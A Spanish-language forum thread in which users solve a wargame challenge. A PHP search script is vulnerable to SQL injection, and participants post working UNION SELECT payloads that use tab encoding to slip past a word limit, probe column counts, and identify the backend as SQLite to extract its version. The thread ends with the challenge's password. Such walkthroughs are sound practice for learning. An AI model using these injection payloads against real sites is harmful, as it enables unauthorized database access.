Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:
NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
if ( !empty( $_GET['buscar'] ) ){
$buscar = (string) stripslashes( $_GET['buscar'] );
if ( 40 < strlen($buscar) )
die('Hacker!');
$palabras = explode( ' ', $buscar );
if ( 3 < count($palabras) )
die('No se permiten mas de 3 palabras en la busqueda.');
#$consulta = 'SELECT * FROM diccionario WHERE';
$consulta = 'SELECT * FROM tbl WHERE';
foreach( (array) $palabras as $palabra )
$consulta .= " nombre LIKE '%{$palabra}%' OR";
#$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
$consulta = substr( $consulta, 0, -3 );
$consulta .= " LIMIT 1;";
}else{
$consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
}
# Esto es para mi localhost
$cnn = mysql_connect("127.0.0.1", "root", "");
$db = mysql_select_db("PoC");
$query = mysql_query($consulta);
if( $query !== false ){
$data = mysql_fetch_array($query);
}
El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
SELECT * FROM tbl WHERE nombre LIKE '%5' union select @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21
El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
Cómo haces para saltarte el count de palabras>3? xD
EDITO: Vale, ya vi, ignórame xD
No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea?
PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
$usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:
http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09
Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:
http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09
También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):
http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274
Al final las única columna que retornan valores acortando la consulta final es el 3
Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:
http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274
Será sqlite?
www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4
Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".
Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:
http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274
Y listo:
CitarCongrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9
CitarAndaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL
Donde dice MySQL?
Saludos.
Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es:
$db = new PDO( 'sqlite:diccionario.sqlite' );